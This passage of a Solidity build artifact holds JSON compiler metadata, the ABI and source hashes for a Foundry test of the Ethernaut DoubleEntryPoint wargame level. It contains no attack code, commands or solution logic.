36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/DetectionBot.sol\":{\"keccak256\":\"0x29b96534de1831d28a5f7ee010ab542cac0a70b901550202c0191739ae2dcb75\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://38b60ee52ef3db90f0c53a404a57af243f9de3db58a6539000d3453bcf678665\",\"dweb:/ipfs/QmbFn3HdcfKAPCcUfbzEwB7REu4Lh1CqyW82BD9a5Pg1yN\"]},\"src/levels/DoubleEntryPoint.sol\":{\"keccak256\":\"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6\",\"dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih\"]},\"src/levels/DoubleEntryPointFactory.sol\":{\"keccak256\":\"0xd66e7129f3877896a170b73a74abcf004ae97c99f8422cb559a5b5f058b193f4\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://50d2fb4d890f96581ca28fe9810c7dffdc2eef091e81a2584fa8c824ddaf4d15\",\"dweb:/ipfs/QmTzWboptc2WjGQH4ShcN4XAkiaskScQ7fFtfgvMsWuSRq\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/DoubleEntryPoint.t.sol\":{\"keccak256\":\"0xb338ffd0ed2f296f1fcf0458a6c1ad4c152fd7ef85a9b489b28c7da606f9687b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6aed56e8d0b53cc47d3213abaf51e7df0c38f5d24e0e25d8375dc5afdd8313a2\",\"dweb:/ipfs/QmQ32jpbvjC5CU96HZZhDvYF7FVQ4EjA1xfzDyU1iW28uE\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/DoubleEntryPoint.t.sol":"TestDoubleEntryPoint"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"lice